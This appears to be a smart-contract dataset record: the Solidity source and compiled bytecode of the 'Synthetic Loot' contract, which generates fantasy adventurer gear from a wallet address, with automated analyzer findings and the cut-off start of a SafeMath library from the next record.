// SPDX-License-Identifier: Unlicense /* Synthetic Loot This contract creates a "virtual NFT" of Loot based on a given wallet address. Because the wallet address is used as the deterministic seed, there can only be one Loot bag per wallet. Because it's not a real NFT, there is no minting, transferability, etc. Creators building on top of Loot can choose to recognize Synthetic Loot as a way to allow a wider range of adventurers to participate in the ecosystem, while still being able to differentiate between "original" Loot and Synthetic Loot. Anyone with an Ethereum wallet has Synthetic Loot. ----- Also optionally returns data in LootComponents format: Call weaponComponents(), chestComponents(), etc. to get an array of attributes that correspond to the item. The return format is: uint256[5] => [0] = Item ID [1] = Suffix ID (0 for none) [2] = Name Prefix ID (0 for none) [3] = Name Suffix ID (0 for none) [4] = Augmentation (0 = false, 1 = true) See the item and attribute tables below for corresponding IDs. The original LootComponents contract is at address: 0x3eb43b1545a360d1D065CB7539339363dFD445F3 */ pragma solidity ^0.8.4; contract SyntheticLoot { string[] private weapons = [ "Warhammer", // 0 "Quarterstaff", // 1 "Maul", // 2 "Mace", // 3 "Club", // 4 "Katana", // 5 "Falchion", // 6 "Scimitar", // 7 "Long Sword", // 8 "Short Sword", // 9 "Ghost Wand", // 10 "Grave Wand", // 11 "Bone Wand", // 12 "Wand", // 13 "Grimoire", // 14 "Chronicle", // 15 "Tome", // 16 "Book" // 17 ]; string[] private chestArmor = [ "Divine Robe", // 0 "Silk Robe", // 1 "Linen Robe", // 2 "Robe", // 3 "Shirt", // 4 "Demon Husk", // 5 "Dragonskin Armor", // 6 "Studded Leather Armor",// 7 "Hard Leather Armor", // 8 "Leather Armor", // 9 "Holy Chestplate", // 10 "Ornate Chestplate", // 11 "Plate Mail", // 12 "Chain Mail", // 13 "Ring Mail" // 14 ]; string[] private headArmor = [ "Ancient Helm", // 0 "Ornate Helm", // 1 "Great Helm", // 2 "Full Helm", // 3 "Helm", // 4 "Demon Crown", // 5 "Dragon's Crown", // 6 "War Cap", // 7 "Leather Cap", // 8 "Cap", // 9 "Crown", // 10 "Divine Hood", // 11 "Silk Hood", // 12 "Linen Hood", // 13 "Hood" // 14 ]; string[] private waistArmor = [ "Ornate Belt", // 0 "War Belt", // 1 "Plated Belt", // 2 "Mesh Belt", // 3 "Heavy Belt", // 4 "Demonhide Belt", // 5 "Dragonskin Belt", // 6 "Studded Leather Belt", // 7 "Hard Leather Belt", // 8 "Leather Belt", // 9 "Brightsilk Sash", // 10 "Silk Sash", // 11 "Wool Sash", // 12 "Linen Sash", // 13 "Sash" // 14 ]; string[] private footArmor = [ "Holy Greaves", // 0 "Ornate Greaves", // 1 "Greaves", // 2 "Chain Boots", // 3 "Heavy Boots", // 4 "Demonhide Boots", // 5 "Dragonskin Boots", // 6 "Studded Leather Boots",// 7 "Hard Leather Boots", // 8 "Leather Boots", // 9 "Divine Slippers", // 10 "Silk Slippers", // 11 "Wool Shoes", // 12 "Linen Shoes", // 13 "Shoes" // 14 ]; string[] private handArmor = [ "Holy Gauntlets", // 0 "Ornate Gauntlets", // 1 "Gauntlets", // 2 "Chain Gloves", // 3 "Heavy Gloves", // 4 "Demon's Hands", // 5 "Dragonskin Gloves", // 6 "Studded Leather Gloves",// 7 "Hard Leather Gloves", // 8 "Leather Gloves", // 9 "Divine Gloves", // 10 "Silk Gloves", // 11 "Wool Gloves", // 12 "Linen Gloves", // 13 "Gloves" // 14 ]; string[] private necklaces = [ "Necklace", // 0 "Amulet", // 1 "Pendant" // 2 ]; string[] private rings = [ "Gold Ring", // 0 "Silver Ring", // 1 "Bronze Ring", // 2 "Platinum Ring", // 3 "Titanium Ring" // 4 ]; string[] private suffixes = [ // <no suffix> // 0 "of Power", // 1 "of Giants", // 2 "of Titans", // 3 "of Skill", // 4 "of Perfection", // 5 "of Brilliance", // 6 "of Enlightenment", // 7 "of Protection", // 8 "of Anger", // 9 "of Rage", // 10 "of Fury", // 11 "of Vitriol", // 12 "of the Fox", // 13 "of Detection", // 14 "of Reflection", // 15 "of the Twins" // 16 ]; string[] private namePrefixes = [ // <no name> // 0 "Agony", // 1 "Apocalypse", // 2 "Armageddon", // 3 "Beast", // 4 "Behemoth", // 5 "Blight", // 6 "Blood", // 7 "Bramble", // 8 "Brimstone", // 9 "Brood", // 10 "Carrion", // 11 "Cataclysm", // 12 "Chimeric", // 13 "Corpse", // 14 "Corruption", // 15 "Damnation", // 16 "Death", // 17 "Demon", // 18 "Dire", // 19 "Dragon", // 20 "Dread", // 21 "Doom", // 22 "Dusk", // 23 "Eagle", // 24 "Empyrean", // 25 "Fate", // 26 "Foe", // 27 "Gale", // 28 "Ghoul", // 29 "Gloom", // 30 "Glyph", // 31 "Golem", // 32 "Grim", // 33 "Hate", // 34 "Havoc", // 35 "Honour", // 36 "Horror", // 37 "Hypnotic", // 38 "Kraken", // 39 "Loath", // 40 "Maelstrom", // 41 "Mind", // 42 "Miracle", // 43 "Morbid", // 44 "Oblivion", // 45 "Onslaught", // 46 "Pain", // 47 "Pandemonium", // 48 "Phoenix", // 49 "Plague", // 50 "Rage", // 51 "Rapture", // 52 "Rune", // 53 "Skull", // 54 "Sol", // 55 "Soul", // 56 "Sorrow", // 57 "Spirit", // 58 "Storm", // 59 "Tempest", // 60 "Torment", // 61 "Vengeance", // 62 "Victory", // 63 "Viper", // 64 "Vortex", // 65 "Woe", // 66 "Wrath", // 67 "Light's", // 68 "Shimmering" // 69 ]; string[] private nameSuffixes = [ // <no name> // 0 "Bane", // 1 "Root", // 2 "Bite", // 3 "Song", // 4 "Roar", // 5 "Grasp", // 6 "Instrument", // 7 "Glow", // 8 "Bender", // 9 "Shadow", // 10 "Whisper", // 11 "Shout", // 12 "Growl", // 13 "Tear", // 14 "Peak", // 15 "Form", // 16 "Sun", // 17 "Moon" // 18 ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function weaponComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "WEAPON", weapons); } function chestComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "CHEST", chestArmor); } function headComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "HEAD", headArmor); } function waistComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "WAIST", waistArmor); } function footComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "FOOT", footArmor); } function handComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "HAND", handArmor); } function neckComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "NECK", necklaces); } function ringComponents(address walletAddress) public view returns (uint256[5] memory) { return pluck(walletAddress, "RING", rings); } function getWeapon(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "WEAPON", weapons); } function getChest(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "CHEST", chestArmor); } function getHead(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "HEAD", headArmor); } function getWaist(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "WAIST", waistArmor); } function getFoot(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "FOOT", footArmor); } function getHand(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "HAND", handArmor); } function getNeck(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "NECK", necklaces); } function getRing(address walletAddress) public view returns (string memory) { return pluckName(walletAddress, "RING", rings); } function pluckName(address walletAddress, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, abi.encodePacked(walletAddress)))); string memory output = sourceArray[rand % sourceArray.length]; uint256 greatness = rand % 21; if (greatness > 14) { output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length])); } if (greatness >= 19) { string[2] memory name; name[0] = namePrefixes[rand % namePrefixes.length]; name[1] = nameSuffixes[rand % nameSuffixes.length]; if (greatness == 19) { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output)); } else { output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1")); } } return output; } function pluck(address walletAddress, string memory keyPrefix, string[] memory sourceArray) internal view returns (uint256[5] memory) { uint256[5] memory components; uint256 rand = random(string(abi.encodePacked(keyPrefix, abi.encodePacked(walletAddress)))); components[0] = rand % sourceArray.length; components[1] = 0; components[2] = 0; uint256 greatness = rand % 21; if (greatness > 14) { components[1] = (rand % suffixes.length) + 1; } if (greatness >= 19) { components[2] = (rand % namePrefixes.length) + 1; components[3] = (rand % nameSuffixes.length) + 1; if (greatness == 19) { // ... } else { components[4] = 1; } } return components; } function tokenURI(address walletAddress) public view returns (string memory) { string[17] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getWeapon(walletAddress); parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = getChest(walletAddress); parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = getHead(walletAddress); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getWaist(walletAddress); parts[8] = '</text><text x="10" y="100" class="base">'; parts[9] = getFoot(walletAddress); parts[10] = '</text><text x="10" y="120" class="base">'; parts[11] = getHand(walletAddress); parts[12] = '</text><text x="10" y="140" class="base">'; parts[13] = getNeck(walletAddress); parts[14] = '</text><text x="10" y="160" class="base">'; parts[15] = getRing(walletAddress); parts[16] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag 0x', toAsciiString(walletAddress), '", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } // https://ethereum.stackexchange.com/a/8447 function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } // https://ethereum.stackexchange.com/a/8447 function char(bytes1 b) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806396a7bb85116100a2578063c3893a9a11610071578063c3893a9a14610217578063c65cd97d1461022a578063ddc8422d1461023d578063e73702cf14610250578063ffcd9d451461026357600080fd5b806396a7bb85146101cb578063b4630ab0146101de578063b5fb5fa4146101f1578063bbfa3d4a1461020457600080fd5b806357e3d14d116100de57806357e3d14d1461017f5780636c390589146101925780637d9d7cc2146101a557806393702f33146101b857600080fd5b80630d2f25be146101105780633c607b6714610139578063455ba9ca1461014c57806346d868c71461016c575b600080fd5b61012361011e366004611c6a565b610276565b604051610130919061215a565b60405180910390f35b610123610147366004611c6a565b610376565b61015f61015a366004611c6a565b610468565b6040516101309190612129565b61012361017a366004611c6a565b610569565b61015f61018d366004611c6a565b61065c565b61015f6101a0366004611c6a565b610753565b61015f6101b3366004611c6a565b61084c565b6101236101c6366004611c6a565b610943565b61015f6101d9366004611c6a565b610beb565b61015f6101ec366004611c6a565b610ce3565b61015f6101ff366004611c6a565b610dda565b610123610212366004611c6a565b610ed1565b610123610225366004611c6a565b610fc2565b610123610238366004611c6a565b6110b3565b61012361024b366004611c6a565b6111a4565b61015f61025e366004611c6a565b611295565b610123610271366004611c6a565b61138c565b6060610370826040518060400160405280600481526020016352494e4760e01b8152506007805480602002602001604051908101604052809291908181526020016000905b828210156103675783829060005260206000200180546102da90612397565b80601f016020809104026020016040519081016040528092919081815260200182805461030690612397565b80156103535780601f1061032857610100808354040283529160200191610353565b820191906000526020600020905b81548152906001019060200180831161033657829003601f168201915b5050505050815260200190600101906102bb565b5050505061147e565b92915050565b6060610370826040518060400160405280600581526020016410d21154d560da1b8152506001805480602002602001604051908101604052809291908181526020016000905b828210156103675783829060005260206000200180546103db90612397565b80601f016020809104026020016040519081016040528092919081815260200182805461040790612397565b80156104545780601f1061042957610100808354040283529160200191610454565b820191906000526020600020905b81548152906001019060200180831161043757829003601f168201915b5050505050815260200190600101906103bc565b610470611c0b565b610370826040518060400160405280600581526020016415d05254d560da1b8152506003805480602002602001604051908101604052809291908181526020016000905b828210156105605783829060005260206000200180546104d390612397565b80601f01602080910402602001604051908101604052809291908181526020018280546104ff90612397565b801561054c5780601f106105215761010080835404028352916020019161054c565b820191906000526020600020905b81548152906001019060200180831161052f57829003601f168201915b5050505050815260200190600101906104b4565b505050506117d8565b606061037082604051806040016040528060068152602001652ba2a0a827a760d11b8152506000805480602002602001604051908101604052809291908181526020016000905b828210156103675783829060005260206000200180546105cf90612397565b80601f01602080910402602001604051908101604052809291908181526020018280546105fb90612397565b80156106485780601f1061061d57610100808354040283529160200191610648565b820191906000526020600020905b81548152906001019060200180831161062b57829003601f168201915b5050505050815260200190600101906105b0565b610664611c0b565b61037082604051806040016040528060048152602001631210539160e21b8152506005805480602002602001604051908101604052809291908181526020016000905b828210156105605783829060005260206000200180546106c690612397565b80601f01602080910402602001604051908101604052809291908181526020018280546106f290612397565b801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050815260200190600101906106a7565b61075b611c0b565b61037082604051806040016040528060068152602001652ba2a0a827a760d11b8152506000805480602002602001604051908101604052809291908181526020016000905b828210156105605783829060005260206000200180546107bf90612397565b80601f01602080910402602001604051908101604052809291908181526020018280546107eb90612397565b80156108385780601f1061080d57610100808354040283529160200191610838565b820191906000526020600020905b81548152906001019060200180831161081b57829003601f168201915b5050505050815260200190600101906107a0565b610854611c0b565b61037082604051806040016040528060048152602001631211505160e21b8152506002805480602002602001604051908101604052809291908181526020016000905b828210156105605783829060005260206000200180546108b690612397565b80601f01602080910402602001604051908101604052809291908181526020018280546108e290612397565b801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b505050505081526020019060010190610897565b606061094d611c29565b60405180610120016040528060fd81526020016124f960fd9139815261097283610569565b816001602002018190525060405180606001604052806028815260200161265f6028913960408201526109a483610376565b606080830191909152604080519182019052602880825261242e602083013960808201526109d183610ed1565b60a0820152604080516060810190915260288082526124a8602083013960c08201526109fc8361138c565b60e0820152604080516060810190915260298082526124d06020830139610100820152610a28836110b3565b6101208201526040805160608101909152602980825261247f6020830139610140820152610a5583610fc2565b610160820152604080516060810190915260298082526125f66020830139610180820152610a82836111a4565b6101a08201526040805160608101909152602980825261245660208301396101c0820152610aaf83610276565b6101e0820152604080518082018252600d81526c1e17ba32bc3a1f1e17b9bb339f60991b602080830191909152610200840191909152825181840151838501516060860151608087015160a088015160c089015160e08a01516101008b0151995160009a610b1f9a909101611ce3565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b0151979950610b72988a9890602001611ce3565b60405160208183030381529060405290506000610bbf610b91866118cd565b610b9a84611a30565b604051602001610bab929190611f4d565b604051602081830303815290604052611a30565b905080604051602001610bd291906120e4565b60408051601f1981840301815291905295945050505050565b610bf3611c0b565b610370826040518060400160405280600581526020016410d21154d560da1b8152506001805480602002602001604051908101604052809291908181526020016000905b82821015610560578382906000526020600020018054610c5690612397565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8290612397565b8015610ccf5780601f10610ca457610100808354040283529160200191610ccf565b820191906000526020600020905b815481529060010190602001808311610cb257829003601f168201915b505050505081526020019060010190610c37565b610ceb611c0b565b61037082604051806040016040528060048152602001634e45434b60e01b8152506006805480602002602001604051908101604052809291908181526020016000905b82821015610560578382906000526020600020018054610d4d90612397565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7990612397565b8015610dc65780601f10610d9b57610100808354040283529160200191610dc6565b820191906000526020600020905b815481529060010190602001808311610da957829003601f168201915b505050505081526020019060010190610d2e565b610de2611c0b565b61037082604051806040016040528060048152602001631193d3d560e21b8152506004805480602002602001604051908101604052809291908181526020016000905b82821015610560578382906000526020600020018054610e4490612397565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7090612397565b8015610ebd5780601f10610e9257610100808354040283529160200191610ebd565b820191906000526020600020905b815481529060010190602001808311610ea057829003601f168201915b505050505081526020019060010190610e25565b606061037082604051806040016040528060048152602001631211505160e21b8152506002805480602002602001604051908101604052809291908181526020016000905b82821015610367578382906000526020600020018054610f3590612397565b80601f0160208091040260200160405190810160405280929190818152602001828054610f6190612397565b8015610fae5780601f10610f8357610100808354040283529160200191610fae565b820191906000526020600020905b815481529060010190602001808311610f9157829003601f168201915b505050505081526020019060010190610f16565b606061037082604051806040016040528060048152602001631210539160e21b8152506005805480602002602001604051908101604052809291908181526020016000905b8282101561036757838290600052602060002001805461102690612397565b80601f016020809104026020016040519081016040528092919081815260200182805461105290612397565b801561109f5780601f106110745761010080835404028352916020019161109f565b820191906000526020600020905b81548152906001019060200180831161108257829003601f168201915b505050505081526020019060010190611007565b606061037082604051806040016040528060048152602001631193d3d560e21b8152506004805480602002602001604051908101604052809291908181526020016000905b8282101561036757838290600052602060002001805461111790612397565b80601f016020809104026020016040519081016040528092919081815260200182805461114390612397565b80156111905780601f1061116557610100808354040283529160200191611190565b820191906000526020600020905b81548152906001019060200180831161117357829003601f168201915b5050505050815260200190600101906110f8565b606061037082604051806040016040528060048152602001634e45434b60e01b8152506006805480602002602001604051908101604052809291908181526020016000905b8282101561036757838290600052602060002001805461120890612397565b80601f016020809104026020016040519081016040528092919081815260200182805461123490612397565b80156112815780601f1061125657610100808354040283529160200191611281565b820191906000526020600020905b81548152906001019060200180831161126457829003601f168201915b5050505050815260200190600101906111e9565b61129d611c0b565b610370826040518060400160405280600481526020016352494e4760e01b8152506007805480602002602001604051908101604052809291908181526020016000905b828210156105605783829060005260206000200180546112ff90612397565b80601f016020809104026020016040519081016040528092919081815260200182805461132b90612397565b80156113785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b5050505050815260200190600101906112e0565b6060610370826040518060400160405280600581526020016415d05254d560da1b8152506003805480602002602001604051908101604052809291908181526020016000905b828210156103675783829060005260206000200180546113f190612397565b80601f016020809104026020016040519081016040528092919081815260200182805461141d90612397565b801561146a5780601f1061143f5761010080835404028352916020019161146a565b820191906000526020600020905b81548152906001019060200180831161144d57829003601f168201915b5050505050815260200190600101906113d2565b606060006114e184866040516020016114af919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152908290526114cd9291602001611cb4565b604051602081830303815290604052611ba4565b90506000838451836114f391906123ed565b8151811061151157634e487b7160e01b600052603260045260246000fd5b60200260200101519050600060158361152a91906123ed565b9050600e811115611591576008805483919061154690866123ed565b8154811061156457634e487b7160e01b600052603260045260246000fd5b9060005260206000200160405160200161157f929190611da3565b60405160208183030381529060405291505b601381106117ce576115a1611c51565b600980546115af90866123ed565b815481106115cd57634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546115e290612397565b80601f016020809104026020016040519081016040528092919081815260200182805461160e90612397565b801561165b5780601f106116305761010080835404028352916020019161165b565b820191906000526020600020905b81548152906001019060200180831161163e57829003601f168201915b50505050508160006002811061168157634e487b7160e01b600052603260045260246000fd5b6020020152600a805461169490866123ed565b815481106116b257634e487b7160e01b600052603260045260246000fd5b9060005260206000200180546116c790612397565b80601f01602080910402602001604051908101604052809291908181526020018280546116f390612397565b80156117405780601f1061171557610100808354040283529160200191611740565b820191906000526020600020905b81548152906001019060200180831161172357829003601f168201915b50505050508160016002811061176657634e487b7160e01b600052603260045260246000fd5b602002015260138214156117a257805160208083015160405161178c9392879101611e61565b60405160208183030381529060405292506117cc565b80516020808301516040516117ba9392879101611ecf565b60405160208183030381529060405292505b505b5095945050505050565b6117e0611c0b565b6117e8611c0b565b6040516bffffffffffffffffffffffff19606087901b1660208201526000906118159086906034016114af565b905083518161182491906123ed565b8252600060208301819052604083018190526118416015836123ed565b9050600e81111561186a5760085461185990836123ed565b61186490600161218d565b60208401525b601381106118c25760095461187f90836123ed565b61188a90600161218d565b6040840152600a5461189c90836123ed565b6118a790600161218d565b606084015260138114156118ba576118c2565b600160808401525b509095945050505050565b60408051602880825260608281019093526000919060208201818036833701905050905060005b6014811015611a2957600061190a82601361232d565b6119159060086122ed565b611920906002612245565b611933906001600160a01b0387166121ca565b60f81b9050600060108260f81c61194a91906121de565b60f81b905060008160f81c6010611961919061230c565b8360f81c61196f9190612344565b60f81b905061197d82611bd5565b856119898660026122ed565b815181106119a757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506119c781611bd5565b856119d38660026122ed565b6119de90600161218d565b815181106119fc57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053505050508080611a21906123d2565b9150506118f4565b5092915050565b805160609080611a50575050604080516020810190915260008152919050565b60006003611a5f83600261218d565b611a6991906121ca565b611a749060046122ed565b90506000611a8382602061218d565b67ffffffffffffffff811115611aa957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ad3576020820181803683370190505b509050600060405180606001604052806040815260200161261f604091399050600181016020830160005b86811015611b5f576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101611afe565b506003860660018114611b795760028114611b8a57611b96565b613d3d60f01b600119830152611b96565b603d60f81b6000198301525b505050918152949350505050565b600081604051602001611bb79190611c98565b60408051601f19818403018152919052805160209091012092915050565b6000600a60f883901c1015611bfc57611bf360f883901c60306121a5565b60f81b92915050565b611bf360f883901c60576121a5565b6040518060a001604052806005906020820280368337509192915050565b6040518061022001604052806011905b6060815260200190600190039081611c395790505090565b6040805180820190915260608152600160208201611c39565b600060208284031215611c7b578081fd5b81356001600160a01b0381168114611c91578182fd5b9392505050565b60008251611caa818460208701612367565b9190910192915050565b60008351611cc6818460208801612367565b835190830190611cda818360208801612367565b01949350505050565b60008a51611cf5818460208f01612367565b8a51611d078183860160208f01612367565b8a519184010190611d1c818360208e01612367565b8951611d2e8183850160208e01612367565b8951929091010190611d44818360208c01612367565b8751910190611d57818360208b01612367565b8651611d698183850160208b01612367565b8651929091010190611d7f818360208901612367565b8451611d918183850160208901612367565b9101019b9a5050505050505050505050565b600083516020611db68285838901612367565b600160fd1b9184019182528454600190849080831c81841680611dda57607f821691505b858210811415611df857634e487b7160e01b88526022600452602488fd5b808015611e0c5760018114611e2157611e51565b60ff1984168887015282880186019450611e51565b60008b815260209020895b84811015611e475781548a8201890152908701908801611e2c565b5050858389010194505b50929a9950505050505050505050565b601160f91b81528351600090611e7e816001850160208901612367565b600160fd1b6001918401918201528451611e9f816002840160208901612367565b61011160f51b600292909101918201528351611ec2816004840160208801612367565b0160040195945050505050565b601160f91b81528351600090611eec816001850160208901612367565b600160fd1b6001918401918201528451611f0d816002840160208901612367565b61011160f51b600292909101918201528351611f30816004840160208801612367565b62202b3160e81b6004929091019182015260070195945050505050565b6f0f644dcc2daca4474404484c2ce4060f60831b81528251600090611f79816010850160208801612367565b80830190507f222c20226465736372697074696f6e223a20224c6f6f742069732072616e646f60108201527f6d697a656420616476656e747572657220676561722067656e6572617465642060308201527f616e642073746f726564206f6e20636861696e2e2053746174732c20696d616760508201527f65732c20616e64206f746865722066756e6374696f6e616c697479206172652060708201527f696e74656e74696f6e616c6c79206f6d697474656420666f72206f746865727360908201527f20746f20696e746572707265742e204665656c206672656520746f207573652060b08201527f4c6f6f7420696e20616e792077617920796f752077616e742e222c2022696d6160d08201527f6765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c60f082015261011084516120c38183850160208901612367565b6120d9828285010161227d60f01b815260020190565b979650505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081526000825161211c81601d850160208701612367565b91909101601d0192915050565b60a08101818360005b6005811015612151578151835260209283019290910190600101612132565b50505092915050565b6020815260008251806020840152612179816040850160208701612367565b601f01601f19169190910160400192915050565b600082198211156121a0576121a0612401565b500190565b600060ff821660ff84168060ff038211156121c2576121c2612401565b019392505050565b6000826121d9576121d9612417565b500490565b600060ff8316806121f1576121f1612417565b8060ff84160491505092915050565b600181600019825b8086111561223c5782820483111561222257612222612401565b8086161561222f57928202925b94851c9491800291612208565b50509250929050565b6000611c91838360008261225b57506001610370565b8161226857506000610370565b816001811461227e5760028114612288576122a4565b6001915050610370565b60ff84111561229957612299612401565b50506001821b610370565b5060208310610133831016604e8410600b84101617156122c7575081810a610370565b6122d18383612200565b80600019048211156122e5576122e5612401565b029392505050565b600081600019048311821515161561230757612307612401565b500290565b600060ff821660ff84168160ff04811182151516156122e5576122e5612401565b60008282101561233f5761233f612401565b500390565b600060ff821660ff84168082101561235e5761235e612401565b90039392505050565b60005b8381101561238257818101518382015260200161236a565b83811115612391576000848401525b50505050565b600181811c908216806123ab57607f821691505b602082108114156123cc57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156123e6576123e6612401565b5060010190565b6000826123fc576123fc612417565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fdfe3c2f746578743e3c7465787420783d2231302220793d2236302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223136302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223132302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d2238302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223130302220636c6173733d2262617365223e3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e3c2f746578743e3c7465787420783d2231302220793d223134302220636c6173733d2262617365223e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c2f746578743e3c7465787420783d2231302220793d2234302220636c6173733d2262617365223ea2646970667358221220fe6500bac061bce1430fe1167912771db2ce4d6b1f3b73fd5b8b78e7865fa97064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,170
0x286c0936c7eaf6651099ab5dab9ee5a6cb5d229d
/** *Submitted for verification at Etherscan.io on 2020-12-10 */ /** *Submitted for verification at Etherscan.io on 2020-12-09 */ pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; 